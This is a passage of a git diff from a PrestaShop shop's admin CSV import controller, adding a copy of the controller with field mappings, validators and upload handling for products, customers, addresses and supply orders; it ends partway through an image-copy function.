`'._DB_PREFIX_.'address'); + break; + case $this->entities[$this->l('Manufacturers')]: + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'manufacturer'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'manufacturer_lang'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'manufacturer_shop'); + foreach (scandir(_PS_MANU_IMG_DIR_) as $d) + if (preg_match('/^[0-9]+(\-(.*))?\.jpg$/', $d)) + unlink(_PS_MANU_IMG_DIR_.$d); + break; + case $this->entities[$this->l('Suppliers')]: + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'supplier'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'supplier_lang'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'supplier_shop'); + foreach (scandir(_PS_SUPP_IMG_DIR_) as $d) + if (preg_match('/^[0-9]+(\-(.*))?\.jpg$/', $d)) + unlink(_PS_SUPP_IMG_DIR_.$d); + break; + } + Image::clearTmpDir(); + return true; + } + + public function postProcess() + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + { + $this->errors[] = Tools::displayError('This functionality has been disabled.'); + return; + } + /* PrestaShop demo mode*/ + + if (Tools::isSubmit('submitFileUpload')) + { + if (isset($_FILES['file']) && !empty($_FILES['file']['error'])) + { + switch ($_FILES['file']['error']) + { + case UPLOAD_ERR_INI_SIZE: + $this->errors[] = Tools::displayError('The uploaded file exceeds the upload_max_filesize directive in php.ini. If your server configuration allows it, you may add a directive in your .htaccess.'); + break; + case UPLOAD_ERR_FORM_SIZE: + $this->errors[] = Tools::displayError('The uploaded file exceeds the post_max_size directive in php.ini. + If your server configuration allows it, you may add a directive in your .htaccess, for example:') + .'<br/><a href="'.$this->context->link->getAdminLink('AdminMeta').'" > + <code>php_value post_max_size 20M</code> '. + Tools::displayError('(click to open "Generators" page)').'</a>'; + break; + break; + case UPLOAD_ERR_PARTIAL: + $this->errors[] = Tools::displayError('The uploaded file was only partially uploaded.'); + break; + break; + case UPLOAD_ERR_NO_FILE: + $this->errors[] = Tools::displayError('No file was uploaded.'); + break; + break; + } + } + else if (!file_exists($_FILES['file']['tmp_name']) || + !@move_uploaded_file($_FILES['file']['tmp_name'], _PS_ADMIN_DIR_.'/import/'.date('Ymdhis').'-'.$_FILES['file']['name'])) + $this->errors[] = $this->l('An error occurred while uploading / copying the file.'); + else + Tools::redirectAdmin(self::$currentIndex.'&token='.Tools::getValue('token').'&conf=18'); + } + else if (Tools::getValue('import')) + { + // Check if the CSV file exist + if (Tools::getValue('csv')) + { + // If i am a superadmin, i can truncate table + if (((Shop::isFeatureActive() && $this->context->employee->isSuperAdmin()) || !Shop::isFeatureActive()) && Tools::getValue('truncate')) + $this->truncateTables((int)Tools::getValue('entity')); + + switch ((int)Tools::getValue('entity')) + { + case $this->entities[$this->l('Categories')]: + $this->categoryImport(); + break; + case $this->entities[$this->l('Products')]: + $this->productImport(); + break; + case $this->entities[$this->l('Customers')]: + $this->customerImport(); + break; + case $this->entities[$this->l('Addresses')]: + $this->addressImport(); + break; + case $this->entities[$this->l('Combinations')]: + $this->attributeImport(); + break; + case $this->entities[$this->l('Manufacturers')]: + $this->manufacturerImport(); + break; + case $this->entities[$this->l('Suppliers')]: + $this->supplierImport(); + break; + // @since 1.5.0 + case $this->entities[$this->l('Supply Orders')]: + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + $this->supplyOrdersImport(); + break; + // @since 1.5.0 + case $this->entities[$this->l('Supply Order Details')]: + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + $this->supplyOrdersDetailsImport(); + break; + default: + $this->errors[] = $this->l('Please select what you would like to import'); + } + } + else + $this->errors[] = $this->l('You must upload a file in order to proceed to the next step'); + } + + parent::postProcess(); + } + + public static function setLocale() + { + $iso_lang = trim(Tools::getValue('iso_lang')); + setlocale(LC_COLLATE, strtolower($iso_lang).'_'.strtoupper($iso_lang).'.UTF-8'); + setlocale(LC_CTYPE, strtolower($iso_lang).'_'.strtoupper($iso_lang).'.UTF-8'); + } + + protected function addProductWarning($product_name, $product_id = null, $message = '') + { + $this->warnings[] = $product_name.(isset($product_id) ? ' (ID '.$product_id.')' : '').' '.Tools::displayError($message); + } + + public function ajaxProcessSaveImportMatchs() + { + if ($this->tabAccess['edit'] === '1') + { + $match = implode('|', Tools::getValue('type_value')); + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'import_match` ( + `id_import_match` , + `name` , + `match`, + `skip` + ) + VALUES ( + NULL , + \''.pSQL(Tools::getValue('newImportMatchs')).'\', + \''.pSQL($match).'\', + \''.pSQL(Tools::getValue('skip')).'\' + )'); + + die('{"id" : "'.Db::getInstance()->Insert_ID().'"}'); + } + } + + public function ajaxProcessLoadImportMatchs() + { + if ($this->tabAccess['edit'] === '1') + { + $return = Db::getInstance()->executeS('SELECT * FROM `'._DB_PREFIX_.'import_match` WHERE `id_import_match` = '.(int)Tools::getValue('idImportMatchs')); + die('{"id" : "'.$return[0]['id_import_match'].'", "matchs" : "'.$return[0]['match'].'", "skip" : "'.$return[0]['skip'].'"}'); + } + } + + public function ajaxProcessDeleteImportMatchs() + { + if ($this->tabAccess['edit'] === '1') + { + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'import_match` WHERE `id_import_match` = '.(int)Tools::getValue('idImportMatchs')); + die; + } + } +} diff --git a/controllers/admin/AdminImportController2.php b/controllers/admin/AdminImportController2.php new file mode 100755 index 0000000..2bf3a7a --- /dev/null +++ b/controllers/admin/AdminImportController2.php @@ -0,0 +1,2811 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +@ini_set('max_execution_time', 0); +/** No max line limit since the lines can be more than 4096. Performance impact is not significant. */ +define('MAX_LINE_SIZE', 0); + +/** Used for validatefields diying without user friendly error or not */ +define('UNFRIENDLY_ERROR', false); + +/** this value set the number of columns visible on each page */ +define('MAX_COLUMNS', 6); + +/** correct Mac error on eof */ +@ini_set('auto_detect_line_endings', '1'); + +class AdminImportControllerCore extends AdminController +{ + public static $column_mask; + + public $entities = array(); + + public $available_fields = array(); + + public $required_fields = array('name'); + + public $cache_image_deleted = array(); + + public static $default_values = array(); + + public static $validators = array( + 'active' => array('AdminImportController', 'getBoolean'), + 'tax_rate' => array('AdminImportController', 'getPrice'), + /** Tax excluded */ + 'price_tex' => array('AdminImportController', 'getPrice'), + /** Tax included */ + 'price_tin' => array('AdminImportController', 'getPrice'), + 'reduction_price' => array('AdminImportController', 'getPrice'), + 'reduction_percent' => array('AdminImportController', 'getPrice'), + 'wholesale_price' => array('AdminImportController', 'getPrice'), + 'ecotax' => array('AdminImportController', 'getPrice'), + 'name' => array('AdminImportController', 'createMultiLangField'), + 'description' => array('AdminImportController', 'createMultiLangField'), + 'description_short' => array('AdminImportController', 'createMultiLangField'), + 'meta_title' => array('AdminImportController', 'createMultiLangField'), + 'meta_keywords' => array('AdminImportController', 'createMultiLangField'), + 'meta_description' => array('AdminImportController', 'createMultiLangField'), + 'link_rewrite' => array('AdminImportController', 'createMultiLangField'), + 'available_now' => array('AdminImportController', 'createMultiLangField'), + 'available_later' => array('AdminImportController', 'createMultiLangField'), + 'category' => array('AdminImportController', 'split'), + 'online_only' => array('AdminImportController', 'getBoolean') + ); + + public $separator; + public $multiple_value_separator; + + public function __construct() + { + $this->entities = array( + $this->l('Categories'), + $this->l('Products'), + $this->l('Combinations'), + $this->l('Customers'), + $this->l('Addresses'), + $this->l('Manufacturers'), + $this->l('Suppliers'), + ); + + // @since 1.5.0 + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->entities = array_merge( + $this->entities, + array( + $this->l('Supply Orders'), + $this->l('Supply Order Details'), + ) + ); + } + + $this->entities = array_flip($this->entities); + + switch ((int)Tools::getValue('entity')) + { + case $this->entities[$this->l('Combinations')]: + $this->required_fields = array( + 'id_product', + 'group', + 'attribute' + ); + + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id_product' => array('label' => $this->l('Product ID').'*'), + 'group' => array( + 'label' => $this->l('Attribute (Name:Type:Position)').'*' + ), + 'attribute' => array( + 'label' => $this->l('Value (Value:Position)').'*' + ), + 'supplier_reference' => array('label' => $this->l('Supplier reference')), + 'reference' => array('label' => $this->l('Reference')), + 'ean13' => array('label' => $this->l('EAN13')), + 'upc' => array('label' => $this->l('UPC')), + 'wholesale_price' => array('label' => $this->l('Wholesale price')), + 'price' => array('label' => $this->l('Impact on price')), + 'ecotax' => array('label' => $this->l('Ecotax')), + 'quantity' => array('label' => $this->l('Quantity')), + 'minimal_quantity' => array('label' => $this->l('Minimal quantity')), + 'weight' => array('label' => $this->l('Impact on weight')), + 'default_on' => array('label' => $this->l('Default (0 = No, 1 = Yes)')), + 'image_position' => array( + 'label' => $this->l('Image position') + ), + 'image_url' => array('label' => $this->l('Image URL')), + 'delete_existing_images' => array( + 'label' => $this->l('Delete existing images (0 = No, 1 = Yes)') + ), + 'shop' => array( + 'label' => $this->l('ID / Name of shop'), + 'help' => $this->l('Ignore this field if you don\'t use the Multistore tool. If you leave this field empty, the default shop will be used.'), + ) + ); + + self::$default_values = array( + 'reference' => '', + 'supplier_reference' => '', + 'ean13' => '', + 'upc' => '', + 'wholesale_price' => 0, + 'price' => 0, + 'ecotax' => 0, + 'quantity' => 0, + 'minimal_quantity' => 1, + 'weight' => 0, + 'default_on' => 0, + ); + break; + + case $this->entities[$this->l('Categories')]: + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id' => array('label' => $this->l('ID')), + 'active' => array('label' => $this->l('Active (0/1)')), + 'name' => array('label' => $this->l('Name *')), + 'parent' => array('label' => $this->l('Parent category')), + 'is_root_category' => array( + 'label' => $this->l('Root category (0/1)'), + 'help' => $this->l('A category root is where a category tree can begin. This is used with multistore.') + ), + 'description' => array('label' => $this->l('Description')), + 'meta_title' => array('label' => $this->l('Meta title')), + 'meta_keywords' => array('label' => $this->l('Meta keywords')), + 'meta_description' => array('label' => $this->l('Meta description')), + 'link_rewrite' => array('label' => $this->l('URL rewritten')), + 'image' => array('label' => $this->l('Image URL')), + 'shop' => array( + 'label' => $this->l('ID / Name of shop'), + 'help' => $this->l('Ignore this field if you don\'t use the Multistore tool. If you leave this field empty, the default shop will be used.'), + ), + ); + + self::$default_values = array( + 'active' => '1', + 'parent' => Configuration::get('PS_HOME_CATEGORY'), + 'link_rewrite' => '' + ); + break; + + case $this->entities[$this->l('Products')]: + self::$validators['image'] = array( + 'AdminImportController', + 'split' + ); + + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id' => array('label' => $this->l('ID')), + 'active' => array('label' => $this->l('Active (0/1)')), + 'name' => array('label' => $this->l('Name *')), + 'category' => array('label' => $this->l('Categories (x,y,z...)')), + 'price_tex' => array('label' => $this->l('Price tax excluded')), + 'price_tin' => array('label' => $this->l('Price tax included')), + 'id_tax_rules_group' => array('label' => $this->l('Tax rules ID')), + 'wholesale_price' => array('label' => $this->l('Wholesale price')), + 'on_sale' => array('label' => $this->l('On sale (0/1)')), + 'reduction_price' => array('label' => $this->l('Discount amount')), + 'reduction_percent' => array('label' => $this->l('Discount percent')), + 'reduction_from' => array('label' => $this->l('Discount from (yyyy-mm-dd)')), + 'reduction_to' => array('label' => $this->l('Discount to (yyyy-mm-dd)')), + 'reference' => array('label' => $this->l('Reference #')), + 'supplier_reference' => array('label' => $this->l('Supplier reference #')), + 'supplier' => array('label' => $this->l('Supplier')), + 'manufacturer' => array('label' => $this->l('Manufacturer')), + 'ean13' => array('label' => $this->l('EAN13')), + 'upc' => array('label' => $this->l('UPC')), + 'ecotax' => array('label' => $this->l('Ecotax')), + 'weight' => array('label' => $this->l('Weight')), + 'quantity' => array('label' => $this->l('Quantity')), + 'description_short' => array('label' => $this->l('Short description')), + 'description' => array('label' => $this->l('Description')), + 'tags' => array('label' => $this->l('Tags (x,y,z...)')), + 'meta_title' => array('label' => $this->l('Meta title')), + 'meta_keywords' => array('label' => $this->l('Meta keywords')), + 'meta_description' => array('label' => $this->l('Meta description')), + 'link_rewrite' => array('label' => $this->l('URL rewritten')), + 'available_now' => array('label' => $this->l('Text when in stock')), + 'available_later' => array('label' => $this->l('Text when backorder allowed')), + 'available_for_order' => array('label' => $this->l('Available for order (0 = No, 1 = Yes)')), + 'date_add' => array('label' => $this->l('Product creation date')), + 'show_price' => array('label' => $this->l('Show price (0 = No, 1 = Yes)')), + 'image' => array('label' => $this->l('Image URLs (x,y,z...)')), + 'delete_existing_images' => array( + 'label' => $this->l('Delete existing images (0 = No, 1 = Yes)') + ), + 'features' => array('label' => $this->l('Feature(Name:Value:Position)')), + 'online_only' => array('label' => $this->l('Available online only (0 = No, 1 = Yes)')), + 'condition' => array('label' => $this->l('Condition')), + 'shop' => array( + 'label' => $this->l('ID / Name of shop'), + 'help' => $this->l('Ignore this field if you don\'t use the Multistore tool. If you leave this field empty, the default shop will be used.'), + ) + ); + + self::$default_values = array( + 'id_category' => array((int)Configuration::get('PS_HOME_CATEGORY')), + 'id_category_default' => (int)Configuration::get('PS_HOME_CATEGORY'), + 'active' => '1', + 'quantity' => 0, + 'price' => 0, + 'id_tax_rules_group' => 0, + 'description_short' => array((int)Configuration::get('PS_LANG_DEFAULT') => ''), + 'link_rewrite' => array((int)Configuration::get('PS_LANG_DEFAULT') => ''), + 'online_only' => 0, + 'condition' => 'new', + 'date_add' => date('Y-m-d H:i:s'), + 'condition' => 'new', + ); + break; + + case $this->entities[$this->l('Customers')]: + //Overwrite required_fields AS only email is required whereas other entities + $this->required_fields = array('email', 'passwd', 'lastname', 'firstname'); + + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id' => array('label' => $this->l('ID')), + 'active' => array('label' => $this->l('Active (0/1)')), + 'id_gender' => array('label' => $this->l('Titles ID (Mr = 1, Ms = 2, else 0)')), + 'email' => array('label' => $this->l('Email *')), + 'passwd' => array('label' => $this->l('Password *')), + 'birthday' => array('label' => $this->l('Birthday (yyyy-mm-dd)')), + 'lastname' => array('label' => $this->l('Last Name *')), + 'firstname' => array('label' => $this->l('First Name *')), + 'newsletter' => array('label' => $this->l('Newsletter (0/1)')), + 'optin' => array('label' => $this->l('Opt-in (0/1)')), + 'id_shop' => array( + 'label' => $this->l('ID / Name of shop'), + 'help' => $this->l('Ignore this field if you don\'t use the Multistore tool. If you leave this field empty, the default shop will be used.'), + ), + ); + + self::$default_values = array( + 'active' => '1', + 'id_shop' => Configuration::get('PS_SHOP_DEFAULT'), + ); + break; + + case $this->entities[$this->l('Addresses')]: + //Overwrite required_fields + $this->required_fields = array( + 'lastname', + 'firstname', + 'address1', + 'postcode', + 'country', + 'customer_email', + 'city' + ); + + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id' => array('label' => $this->l('ID')), + 'alias' => array('label' => $this->l('Alias *')), + 'active' => array('label' => $this->l('Active (0/1)')), + 'customer_email' => array('label' => $this->l('Customer email')), + 'id_customer' => array('label' => $this->l('Customer ID:')), + 'manufacturer' => array('label' => $this->l('Manufacturer')), + 'supplier' => array('label' => $this->l('Supplier')), + 'company' => array('label' => $this->l('Company')), + 'lastname' => array('label' => $this->l('Last Name *')), + 'firstname' => array('label' => $this->l('First Name *')), + 'address1' => array('label' => $this->l('Address 1 *')), + 'address2' => array('label' => $this->l('Address 2')), + 'postcode' => array('label' => $this->l('Postal code / Zipcode*')), + 'city' => array('label' => $this->l('City *')), + 'country' => array('label' => $this->l('Country *')), + 'state' => array('label' => $this->l('State')), + 'other' => array('label' => $this->l('Other')), + 'phone' => array('label' => $this->l('Phone')), + 'phone_mobile' => array('label' => $this->l('Mobile Phone')), + 'vat_number' => array('label' => $this->l('VAT number')), + ); + + self::$default_values = array( + 'alias' => 'Alias', + 'postcode' => 'X' + ); + break; + + case $this->entities[$this->l('Manufacturers')]: + case $this->entities[$this->l('Suppliers')]: + //Overwrite validators AS name is not MultiLangField + self::$validators = array( + 'description' => array('AdminImportController', 'createMultiLangField'), + 'short_description' => array('AdminImportController', 'createMultiLangField'), + 'meta_title' => array('AdminImportController', 'createMultiLangField'), + 'meta_keywords' => array('AdminImportController', 'createMultiLangField'), + 'meta_description' => array('AdminImportController', 'createMultiLangField'), + ); + + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id' => array('label' => $this->l('ID')), + 'active' => array('label' => $this->l('Active (0/1)')), + 'name' => array('label' => $this->l('Name *')), + 'description' => array('label' => $this->l('Description')), + 'short_description' => array('label' => $this->l('Short description')), + 'meta_title' => array('label' => $this->l('Meta title')), + 'meta_keywords' => array('label' => $this->l('Meta keywords')), + 'meta_description' => array('label' => $this->l('Meta description')), + 'shop' => array( + 'label' => $this->l('ID / Name of group shop'), + 'help' => $this->l('Ignore this field if you don\'t use the Multistore tool. If you leave this field empty, the default shop will be used.'), + ), + ); + + self::$default_values = array( + 'shop' => Shop::getGroupFromShop(Configuration::get('PS_SHOP_DEFAULT')), + ); + break; + // @since 1.5.0 + case $this->entities[$this->l('Supply Orders')]: + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + // required fields + $this->required_fields = array( + 'id_supplier', + 'id_warehouse', + 'reference', + 'date_delivery_expected', + ); + // available fields + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id' => array('label' => $this->l('ID')), + 'id_supplier' => array('label' => $this->l('Supplier ID *')), + 'id_lang' => array('label' => $this->l('Lang ID')), + 'id_warehouse' => array('label' => $this->l('Warehouse ID *')), + 'id_currency' => array('label' => $this->l('Currency ID *')), + 'reference' => array('label' => $this->l('Supply Order Reference *')), + 'date_delivery_expected' => array('label' => $this->l('Delivery Date (Y-M-D)*')), + 'discount_rate' => array('label' => $this->l('Discount Rate')), + 'is_template' => array('label' => $this->l('Template')), + ); + // default values + self::$default_values = array( + 'id_lang' => (int)Configuration::get('PS_LANG_DEFAULT'), + 'id_currency' => Currency::getDefaultCurrency()->id, + 'discount_rate' => '0', + 'is_template' => '0', + ); + } + break; + // @since 1.5.0 + case $this->entities[$this->l('Supply Order Details')]: + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + // required fields + $this->required_fields = array( + 'supply_order_reference', + 'id_product', + 'unit_price_te', + 'quantity_expected', + ); + // available fields + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'supply_order_reference' => array('label' => $this->l('Supply Order Reference *')), + 'id_product' => array('label' => $this->l('Product ID *')), + 'id_product_attribute' => array('label' => $this->l('Product Attribute ID')), + 'unit_price_te' => array('label' => $this->l('Unit Price (tax excl.)*')), + 'quantity_expected' => array('label' => $this->l('Quantity Expected *')), + 'discount_rate' => array('label' => $this->l('Discount Rate')), + 'tax_rate' => array('label' => $this->l('Tax Rate')), + ); + // default values + self::$default_values = array( + 'discount_rate' => '0', + 'tax_rate' => '0', + ); + } + } + + $this->separator = strval(trim(Tools::getValue('separator', ';'))); + + if (is_null(Tools::getValue('multiple_value_separator')) || trim(Tools::getValue('multiple_value_separator')) == '') + $this->multiple_value_separator = ','; + else + $this->multiple_value_separator = Tools::getValue('multiple_value_separator'); + + parent::__construct(); + } + + public function renderForm() + { + if (!is_writable(_PS_ADMIN_DIR_.'/import/')) + $this->displayWarning($this->l('Directory import on admin directory must be writable (CHMOD 755 / 777)')); + + if (isset($this->warnings) && count($this->warnings)) + { + $warnings = array(); + foreach ($this->warnings as $warning) + $warnings[] = $warning; + } + + $files_to_import = scandir(_PS_ADMIN_DIR_.'/import/'); + uasort($files_to_import, array('AdminImportController', 'usortFiles')); + foreach ($files_to_import as $k => &$filename) + //exclude . .. .svn and index.php and all hidden files + if (preg_match('/^\..*|index\.php/i', $filename)) + unset($files_to_import[$k]); + unset($filename); + + $this->fields_form = array(''); + + $this->toolbar_scroll = false; + $this->toolbar_btn = array(); + + // adds fancybox + $this->addCSS(_PS_CSS_DIR_.'jquery.fancybox-1.3.4.css', 'screen'); + $this->addJqueryPlugin(array('fancybox')); + + $this->tpl_form_vars = array( + 'module_confirmation' => (Tools::getValue('import')) && (isset($this->warnings) && !count($this->warnings)), + 'path_import' => _PS_ADMIN_DIR_.'/import/', + 'entities' => $this->entities, + 'entity' => Tools::getValue('entity'), + 'files_to_import' => $files_to_import, + 'languages' => Language::getLanguages(false), + 'id_language' => $this->context->language->id, + 'available_fields' => $this->getAvailableFields(), + 'truncateAuthorized' => (Shop::isFeatureActive() && $this->context->employee->isSuperAdmin()) || !Shop::isFeatureActive(), + 'PS_ADVANCED_STOCK_MANAGEMENT' => Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT'), + ); + + return parent::renderForm(); + } + + public function renderView() + { + $this->addJS(_PS_JS_DIR_.'adminImport.js'); + + $handle = $this->openCsvFile(); + $nb_column = $this->getNbrColumn($handle, $this->separator); + $nb_table = ceil($nb_column / MAX_COLUMNS); + + $res = array(); + foreach ($this->required_fields as $elem) + $res[] = '\''.$elem.'\''; + + $data = array(); + for ($i = 0; $i < $nb_table; $i++) + $data[$i] = $this->generateContentTable($i, $nb_column, $handle, $this->separator); + + $this->tpl_view_vars = array( + 'import_matchs' => Db::getInstance()->executeS('SELECT * FROM '._DB_PREFIX_.'import_match'), + 'fields_value' => array( + 'csv' => Tools::getValue('csv'), + 'convert' => Tools::getValue('convert'), + 'entity' => (int)Tools::getValue('entity'), + 'iso_lang' => Tools::getValue('iso_lang'), + 'truncate' => Tools::getValue('truncate'), + 'forceIDs' => Tools::getValue('forceIDs'), + 'match_ref' => Tools::getValue('match_ref'), + 'separator' => $this->separator, + 'multiple_value_separator' => $this->multiple_value_separator + ), + 'nb_table' => $nb_table, + 'nb_column' => $nb_column, + 'res' => implode(',', $res), + 'max_columns' => MAX_COLUMNS, + 'no_pre_select' => array('price_tin', 'feature'), + 'available_fields' => $this->available_fields, + 'data' => $data + ); + + return parent::renderView(); + } + + public function initToolbar() + { + switch ($this->display) + { + case 'import': + // Default cancel button - like old back link + $back = Tools::safeOutput(Tools::getValue('back', '')); + if (empty($back)) + $back = self::$currentIndex.'&token='.$this->token; + + $this->toolbar_btn['cancel'] = array( + 'href' => $back, + 'desc' => $this->l('Cancel') + ); + // Default save button - action dynamically handled in javascript + $this->toolbar_btn['save-import'] = array( + 'href' => '#', + 'desc' => $this->l('Import .CSV data') + ); + break; + } + } + + protected function generateContentTable($current_table, $nb_column, $handle, $glue) + { + $html = '<table id="table'.$current_table.'" style="display: none;" class="table" cellspacing="0" cellpadding="0"> + <tr>'; + + // Header + for ($i = 0; $i < $nb_column; $i++) + if (MAX_COLUMNS * (int)$current_table <= $i && (int)$i < MAX_COLUMNS * ((int)$current_table + 1)) + $html .= '<th style="width: '.(900 / MAX_COLUMNS).'px; vertical-align: top; padding: 4px"> + <select onchange="askFeatureName(this, '.$i.');" + style="width: '.(900 / MAX_COLUMNS).'px;" + id="type_value['.$i.']" + name="type_value['.$i.']" + class="type_value"> + '.$this->getTypeValuesOptions($i).' + </select> + <div id="features_'.$i.'" style="display: none;"> + <input style="width: 90px" type="text" name="" id="feature_name_'.$i.'"> + <input type="button" value="ok" onclick="replaceFeature($(\'#feature_name_'.$i.'\').attr(\'name\'), '.$i.');"> + </div> + </th>'; + $html .= '</tr>'; + + AdminImportController::setLocale(); + for ($current_line = 0; $current_line < 10 && $line = fgetcsv($handle, MAX_LINE_SIZE, $glue); $current_line++) + { + /* UTF-8 conversion */ + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $html .= '<tr id="table_'.$current_table.'_line_'.$current_line.'" style="padding: 4px">'; + foreach ($line as $nb_c => $column) + if ((MAX_COLUMNS * (int)$current_table <= $nb_c) && ((int)$nb_c < MAX_COLUMNS * ((int)$current_table + 1))) + $html .= '<td>'.htmlentities(substr($column, 0, 200), ENT_QUOTES, 'UTF-8').'</td>'; + $html .= '</tr>'; + } + $html .= '</table>'; + AdminImportController::rewindBomAware($handle); + return $html; + } + + public function init() + { + parent::init(); + if (Tools::isSubmit('submitImportFile')) + $this->display = 'import'; + } + + public function initContent() + { + // toolbar (save, cancel, new, ..) + $this->initToolbar(); + if ($this->display == 'import') + if (Tools::getValue('csv')) + $this->content .= $this->renderView(); + else + { + $this->errors[] = $this->l('You must upload a file in order to proceed to the next step'); + $this->content .= $this->renderForm(); + } + else + $this->content .= $this->renderForm(); + + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + protected static function rewindBomAware($handle) + { + // A rewind wrapper that skip BOM signature wrongly + rewind($handle); + if (($bom = fread($handle, 3)) != "\xEF\xBB\xBF") + rewind($handle); + } + + protected static function getBoolean($field) + { + return (boolean)$field; + } + + protected static function getPrice($field) + { + $field = ((float)str_replace(',', '.', $field)); + $field = ((float)str_replace('%', '', $field)); + return $field; + } + + protected static function split($field) + { + if (empty($field)) + return array(); + + $separator = Tools::getValue('multiple_value_separator'); + if (is_null($separator) || trim($separator) == '') + $separator = ','; + + do $uniqid_path = _PS_UPLOAD_DIR_.uniqid(); while (file_exists($uniqid_path)); + file_put_contents($uniqid_path, $field); + $tab = ''; + if (!empty($uniqid_path)) + { + $fd = fopen($uniqid_path, 'r'); + $tab = fgetcsv($fd, MAX_LINE_SIZE, $separator); + fclose($fd); + unlink($uniqid_path); + } + + if (empty($tab) || (!is_array($tab))) + return array(); + return $tab; + } + + protected static function createMultiLangField($field) + { + $languages = Language::getLanguages(false); + $res = array(); + foreach ($languages as $lang) + $res[$lang['id_lang']] = $field; + return $res; + } + + protected function getTypeValuesOptions($nb_c) + { + $i = 0; + $no_pre_select = array('price_tin', 'feature'); + + $options = ''; + foreach ($this->available_fields as $k => $field) + { + $options .= '<option value="'.$k.'"'; + if ($k === 'price_tin') + ++$nb_c; + if ($i === ($nb_c + 1) && (!in_array($k, $no_pre_select))) + $options .= ' selected="selected"'; + $options .= '>'.$field['label'].'</option>'; + ++$i; + } + return $options; + } + + /* + * Return fields to be display AS piece of advise + * + * @param $in_array boolean + * @return string or return array + */ + public function getAvailableFields($in_array = false) + { + $i = 0; + $fields = array(); + $keys = array_keys($this->available_fields); + array_shift($keys); + foreach ($this->available_fields as $k => $field) + { + if ($k === 'no') + continue; + if ($k === 'price_tin') + $fields[$i - 1] = '<div>'.$this->available_fields[$keys[$i - 1]]['label'].' '.$this->l('or').' '.$field['label'].'<span style="margin-left:16px"></span></div>'; + else + { + if (isset($field['help'])) + $html = ' <a href="#" class="info_import" title="'.$this->l('Info').'|'.$field['help'].'"><img src="'._PS_ADMIN_IMG_.'information.png"></a>'; + else + $html = '<span style="margin-left:16px"></span>'; + $fields[] = '<div>'.$field['label'].$html.'</div>'; + } + ++$i; + } + if ($in_array) + return $fields; + else + return implode("\n\r", $fields); + } + + protected function receiveTab() + { + $type_value = Tools::getValue('type_value') ? Tools::getValue('type_value') : array(); + foreach ($type_value as $nb => $type) + if ($type != 'no') + self::$column_mask[$type] = $nb; + } + + public static function getMaskedRow($row) + { + $res = array(); + if (is_array(self::$column_mask)) + foreach (self::$column_mask as $type => $nb) + $res[$type] = isset($row[$nb]) ? $row[$nb] : null; + + if (Tools::getValue('forceIds')) // if you choose to force table before import the column id is remove from the CSV file. + unset($res['id']); + + return $res; + } + + protected static function setDefaultValues(&$info) + { + foreach (self::$default_values as $k => $v) + if (!isset($info[$k]) || $info[$k] == '') + $info[$k] = $v; + } + + protected static function setEntityDefaultValues(&$entity) + { + $members = get_object_vars($entity); + foreach (self::$default_values as $k => $v) + if ((array_key_exists($k, $members) && $entity->$k === null) || !array_key_exists($k, $members)) + $entity->$k = $v; + } + + protected static function fillInfo($infos, $key, &$entity) + { + $infos = trim($infos); + if (isset(self::$validators[$key][1]) && self::$validators[$key][1] == 'createMultiLangField' && Tools::getValue('iso_lang')) + { + $id_lang = Language::getIdByIso(Tools::getValue('iso_lang')); + $tmp = call_user_func(self::$validators[$key], $infos); + foreach ($tmp as $id_lang_tmp => $value) + if (empty($entity->{$key}[$id_lang_tmp]) || $id_lang_tmp == $id_lang) + $entity->{$key}[$id_lang_tmp] = $value; + } + else + if (!empty($infos) || $infos == '0') // ($infos == '0') => if you want to disable a product by using "0" in active because empty('0') return true + $entity->{$key} = isset(self::$validators[$key]) ? call_user_func(self::$validators[$key], $infos) : $infos; + + return true; + } + + public static function arrayWalk(&$array, $funcname, &$user_data = false) + { + if (!is_callable($funcname)) return false; + + foreach ($array as $k => $row) + if (!call_user_func_array($funcname, array($row, $k, $user_data))) + return false; + return true; + } + + /** + * copyImg copy an image located in $url and save it in a path + * according to $entity->$id_entity . + * $id_image is used if we need to add a watermark + * + * @param int $id_entity id of product or category (set in entity) + * @param int $id_image (default null) id of the image if watermark enabled. + * @param string $url path or url to use + * @param string entity 'products' or 'categories' + * @return void + */ + protected static function copyImg($id_entity, $id_image = null, $url, $entity = 'products') + { + $tmpfile = 